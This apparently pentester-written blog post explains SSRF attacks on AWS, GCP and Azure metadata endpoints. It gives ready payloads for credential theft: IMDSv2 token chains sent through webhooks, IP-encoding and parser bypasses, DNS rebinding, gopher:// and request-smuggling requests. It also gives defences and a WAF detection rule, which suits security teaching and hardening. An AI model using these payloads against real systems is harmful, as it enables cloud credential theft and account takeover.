SSRF against cloud metadata in 2026 — IMDSv2, parser confusion, and DNS rebinding
AWS shipped IMDSv2, GCP requires Metadata-Flavor, Azure runs on a non-routable IP. Modern SSRF still reaches all three — through parser confusion, DNS rebinding, and the fact that almost every URL parser disagrees with itself.
Scope. Authorized testing only. Every metadata endpoint discussed is legitimately reachable from inside the cloud accounts I tested under written permission. The bypasses are real techniques used in pentests; the targets are not.
The 2019 Capital One breach put cloud metadata SSRF on every threat model. Cloud providers responded with mitigations:
- AWS introduced IMDSv2, requiring a session token via
PUTrequest before any read. - GCP required the
Metadata-Flavor: Googlerequest header. - Azure moved metadata to
169.254.169.254with a requiredMetadata: trueheader on top of that.
These mitigations broke the simplest SSRF payloads but didn’t remove the attack surface — they raised the bar. In 2026 we have a new generation of bypasses that defeat these mitigations under realistic SSRF conditions, plus a renewed appreciation for the fact that URL parsers disagree with each other in ways that almost always favor the attacker.
This post is the working playbook: what the metadata endpoints expose now, why “just block 169.254.169.254” doesn’t work, and the chains that reach each cloud’s IMDS in the presence of modern defenses.
What’s at the metadata endpoint, still?
A reminder of why we care:
AWS (http://169.254.169.254/latest/meta-data/):
iam/security-credentials/<role-name>— temporary IAM credentials for the role attached to the instance. The crown jewels.user-data— the launch script. Often contains hardcoded API keys, DB creds.instance-identity/document— signed identity document, useful for forging.
GCP (http://metadata.google.internal/computeMetadata/v1/):
instance/service-accounts/default/token— an OAuth2 access token for the bound service account.instance/attributes/— includingkube-env, which on GKE often contains kubelet credentials.
Azure (http://169.254.169.254/metadata/identity/oauth2/token?...):
- The token endpoint returns an Azure AD access token for any registered managed identity.
instance/compute/vmId— for cross-correlation.
In every case, the prize is stealing a credential that is scoped to whatever the workload is allowed to do. From there, the cloud-side post-exploitation is the actual engagement. SSRF is the foothold.
IMDSv2 — what it actually requires
The flow:
PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600
→ <SESSION_TOKEN>
GET /latest/meta-data/iam/security-credentials/<role>
Host: 169.254.169.254
X-aws-ec2-metadata-token: <SESSION_TOKEN>
The two requirements:
- The first request is a
PUT(orOPTIONS). - Subsequent reads carry the
X-aws-ec2-metadata-tokenheader.
This breaks naive SSRF where the attacker controls only a URL string,
because the vulnerable HTTP client does a GET and the SSRF doesn’t let
you set arbitrary headers. The mitigation works for that specific class
of SSRF.
It does not work if:
- The vulnerable client lets you specify the HTTP method (e.g., GraphQL
webhookfeatures, server-side fetch APIs). - The vulnerable client lets you specify headers (most “build a custom webhook” features do).
- You can chain through a CRLF injection to inject the
PUTand headers inline. - The instance has IMDSv2 set to optional (
HttpTokens: optional) — which is still the default for many older AMIs and Terraform modules.
In 2026, the realistic distribution is roughly:
- ~60% of AWS workloads enforce IMDSv2 strictly (
HttpTokens: required). - ~30% allow both v1 and v2 (
optional). - ~10% are still v1-only (legacy AMIs, ECS task definitions that haven’t been touched).
If the engagement target is in the 60%, you need a different vector. If it’s in the 40%, the textbook SSRF still works.
Vector 1 — exploiting HttpTokens: optional
Even with v2 available, an instance configured with optional will respond
to v1 requests. The simplest possible SSRF still works:
GET /latest/meta-data/iam/security-credentials/<role-name>
How to know if the target is optional: send the v1 request and see what you
get. A 401 Unauthorized means strict v2; a 200 with credentials means
v1 is enabled.
This is the trivial case but it’s worth saying explicitly because too many pentest reports skip v1 testing once they hear “they enabled IMDSv2.” Always test both.
Vector 2 — full HTTP control via a server-side fetch feature
The vulnerable pattern is anywhere the app exposes HTTP-method/header control:
# A vulnerable webhook implementation
@app.post("/webhook")
def webhook():
target = request.json["url"]
method = request.json.get("method", "GET")
headers = request.json.get("headers", {})
body = request.json.get("body", "")
return requests.request(method, target, headers=headers, data=body).text
The IMDSv2 chain:
POST /webhook
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/api/token",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}
Save the returned token, then a second request:
POST /webhook
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role",
"headers": {"X-aws-ec2-metadata-token": "<TOKEN>"}
}
Credentials returned. The server-side webhook is more common than people
realize — Slack-integration features, Zapier-style outbound triggers,
“send to my custom URL” preferences. These are SSRF-by-design and the
default deny-list (block 169.254.0.0/16) is what should be there but
often isn’t.
Vector 3 — URL-parser confusion
This is where SSRF becomes an art form. Almost every URL parser has subtle quirks, and the parser doing the deny-list check is often a different parser than the one resolving the actual request.
The classic example:
http://169.254.169.254@evil.com/path
Some parsers see 169.254.169.254 as the username, evil.com as the host.
Others see 169.254.169.254@evil.com as a malformed hostname and try to
resolve it. The deny-list checker says “host is evil.com, allowed”;
the requester says “host is 169.254.169.254, here we go.” Bypass.
The 2026 version uses Unicode normalization:
http://169.254.169.254%2523@evil.com/
http://①⑥⑨.②⑤④.①⑥⑨.②⑤④/ (full-width digits)
http://0x.0x.0x.0xa9fea9fe/ (hex IP)
http://2852039166/ (integer IP)
http://0251.0376.0251.0376/ (octal IP)
The integer-IP form is particularly nasty. 2852039166 decimal equals
169.254.169.254 as a 32-bit unsigned int, and Python’s socket.inet_aton
happily accepts it. Most deny-list checks, written in regex against
169.254.169.254, miss it entirely.
The complete URL-parser quirk reference (worth memorizing):
| Form | Resolves to |
|---|---|
2852039166 |
169.254.169.254 (decimal IP) |
0xa9fea9fe |
169.254.169.254 (hex IP) |
0251.0376.0251.0376 |
169.254.169.254 (octal) |
169.254.169.254.nip.io |
DNS to 169.254.169.254 |
169.254.169.254.localhost |
depends on /etc/hosts |
169.254.169.254\\.evil.com |
parsed differently across libs |
169.254.169.254%23.evil.com |
URL fragment ambiguity |
A good SSRF payload list contains all of these. Burp’s built-in SSRF list misses several.
Vector 4 — DNS rebinding for the time-of-check window
The pattern: deny-list checks the host’s IP once before making the request. Between the check and the request, the DNS record changes.
The setup:
- Attacker controls
evil.comand its NS records. - Attacker configures the
evil.comzone to return a different IP on alternating queries: first query returns a public IP, second returns169.254.169.254. - SSRF target requests
evil.com. The deny-list check resolves it, gets the public IP, allows it. The HTTP fetch resolves it again — gets169.254.169.254.
Reference DNS rebinding service: rbndr.us. Hostname 7f000001.a9fea9fe.rbndr.us
returns 127.0.0.1 and 169.254.169.254 alternating.
This works against any deny-list that does a single DNS lookup before the request. The fix is to either (a) cache the DNS result and use the resolved IP for the fetch, or (b) hook into the HTTP client to verify the post-resolution IP.
In 2026, most webhook implementations get this wrong. Specifically:
requests(Python) — does the deny-list check onurlparse(url).hostname, then re-resolves DNS at fetch time. Vulnerable.axios(Node.js) — same pattern. Vulnerable.net/http(Go) — same pattern unless you use a customDialerwith pinned DNS. Vulnerable by default.
Vector 5 — gopher:// and other protocol smuggling
If the SSRF target is requests or any HTTP client that reaches
urllib3 or libcurl, it sometimes accepts non-HTTP schemes. gopher://
in particular is the universal SSRF protocol because it lets you send
arbitrary bytes:
gopher://169.254.169.254:80/_GET%20/latest/meta-data/iam/security-credentials/role%20HTTP%2F1.1%0D%0AHost%3A%20169.254.169.254%0D%0A%0D%0A
The %0D%0A (CRLF) lets you forge an entire HTTP request, including
arbitrary headers. This means even on IMDSv2, you can construct the
PUT request and include the X-aws-ec2-metadata-token-ttl-seconds
header.
Most modern HTTP clients have disabled gopher:// by default. PHP’s
curl extension will still process it if the vulnerable code calls
curl_exec without restricting CURLOPT_PROTOCOLS. SSRF in old PHP
codebases still hits this in 2026.
Vector 6 — request smuggling to the metadata endpoint
If the target architecture has a reverse proxy in front of the app, and you find an HTTP request smuggling primitive (CL.TE or TE.CL), you can sometimes smuggle a request to the metadata endpoint on the proxy’s back-end connection, bypassing the app entirely.
This is rare in cloud setups because the proxy usually doesn’t have a route to the metadata IP from inside its own network — but on Kubernetes clusters with sidecars and service meshes, the routing is sometimes permissive enough.
The smuggled payload looks like:
POST / HTTP/1.1
Host: app.example.com
Content-Length: 6
Transfer-Encoding: chunked
0
GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: <forged>
The proxy reads the front of the request, the app reads the smuggled back, and the smuggled request fires from the app’s network position.
GCP — the Metadata-Flavor header trick
GCP’s metadata endpoint requires Metadata-Flavor: Google on every
request. This is checked strictly — without the header, the endpoint
returns 403.
Vector 1 (header injection): same as AWS — if the SSRF lets you set headers,
add Metadata-Flavor: Google.
Vector 2 (URL-parser confusion): the GCP metadata host is
metadata.google.internal, which resolves to 169.254.169.254.
URL-parser quirks against the IP work. URL-parser quirks against the
DNS name only work if the deny-list is regex-based (“doesn’t contain
‘metadata.google.internal’”) rather than IP-based.
Vector 3 (gopher protocol): same as AWS. gopher://metadata.google.internal:80/
with a forged request including the required header.
Azure — the Metadata: true header
Same shape as GCP. The endpoint is 169.254.169.254/metadata/identity/oauth2/token,
the required header is Metadata: true, and the trick is to either inject
the header (vector 1) or smuggle it via gopher:// (vector 3).
A specific Azure quirk: the token endpoint takes a resource query parameter
that determines the audience of the issued token:
GET /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Host: 169.254.169.254
Metadata: true
After getting the token, you can call https://management.azure.com/ with
it to enumerate the subscription, list VMs, list storage accounts, etc.
Azure’s Resource Manager API is the post-exploitation universe.
Detection from the defender side
Listed roughly in order of effectiveness:
-
Enforce IMDSv2 with
HttpTokens: required. This is the single most impactful change. It blocks vectors 1, and forces vectors 2–6 into the harder paths. -
Don’t use deny-lists. Use allow-lists. A webhook feature that needs to call out should be configured with a list of allowed domains, not a list of disallowed ones. Allow-lists make URL-parser quirks irrelevant because the host has to be a registered allowed value.
-
Validate the resolved IP at fetch time, not parse time. This kills DNS rebinding. Specifically: resolve the hostname, check the resulting IP against the deny-list, and pass the IP (not the hostname) to the HTTP client.
-
Block egress to metadata endpoints at the network layer. AWS lets you set
HttpEndpoint: disabledon instances that don’t need IMDS. On Kubernetes, you can use a NetworkPolicy to block pod-to-metadata traffic. This is the catch-all that protects against vectors you haven’t thought of yet. -
Restrict IAM role permissions. SSRF gives the attacker the instance’s IAM role. If the role has
*permissions, the engagement ends with full account compromise. If the role has the minimum needed permissions, the engagement ends with limited blast radius. Least privilege is a control.
A WAF rule that catches the boring 80%
SecRule ARGS|REQUEST_HEADERS "@rx (?:169\.254\.169\.254|metadata\.google\.internal|2852039166|0xa9fea9fe|0251\.0376\.0251\.0376)" \
"id:9100,phase:1,deny,status:403,msg:'SSRF metadata fingerprint'"
This catches the literal string forms in URLs and headers. It will not catch DNS rebinding or URL-parser confusion paths — but most automated SSRF scanners give up after the literal forms fail. As with the SSTI WAF rule: this raises the floor without claiming to be the wall.
Field notes from recent engagements
Three patterns I’ve seen in the last year that aren’t in the textbook:
-
PDF generation as the SSRF vector. App generates PDFs from user-supplied HTML. The HTML can include
<img src="...">, and the PDF library (wkhtmltopdf, Puppeteer, Playwright) fetches the image. The fetcher has full network reachability from the app’s pod. Path to metadata: drop in<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/role">and read the rendered PDF. The “image” is the JSON response, embedded as binary garbage but readable. -
GraphQL
@requires(fields: "url")directive. A GraphQL service had a directive that fetched a URL during query resolution. The deny-list was regex against169.254.169.254. Worked for the literal form; failed against integer IP. Engagement: 30 minutes from discovery to AWS console. -
K8s sidecar metadata exposure. A workload had Istio injected. The sidecar inherited the pod’s service-account token mounted at
/var/run/secrets/kubernetes.io/serviceaccount/token. SSRF inside the sidecar’s debug endpoint exposed the token, which had cluster-wide read permissions. The IMDS angle was almost incidental — the Kubernetes service-account token was the actual prize.
Tooling
- Burp Suite Pro with Collaborator for the DNS-rebinding and out-of-band pieces. Always make the SSRF target hit a Collaborator endpoint first to confirm it’s actually firing.
SSRFmap— the canonical SSRF exploitation tool. Useful as both an exploit framework and a fingerprinting reference.rbndr.us— public DNS rebinding service. Don’t use it in production testing; spin up your own.curl’s--resolveflag — lets you simulate the IMDS endpoint locally for testing payloads without hitting an actual cloud instance.- A list of URL-parser quirks — keep one. Mine has ~40 entries; the Burp built-in list has ~12.
Further reading
- AWS IMDSv2 documentation — read the actual specification, not blog
summaries. The exact tuple
(method=PUT, path=/latest/api/token, header=...)matters. - The
WHATWG URLspecification — explains why every parser disagrees. - Orange Tsai’s SSRF research — particularly the CRLF injection and protocol smuggling pieces. Foundational reading.
- The
requestslibrary source forprepare_request— read the actual hostname-extraction code to see the parser quirks in situ.
The point. IMDSv2,
Metadata-Flavor, andMetadata: trueare all “raise the floor” mitigations, not “build the wall.” The actual wall is allow-lists, IAM least privilege, and network-level egress controls on metadata endpoints. SSRF in 2026 is a chain — defense has to be a chain too.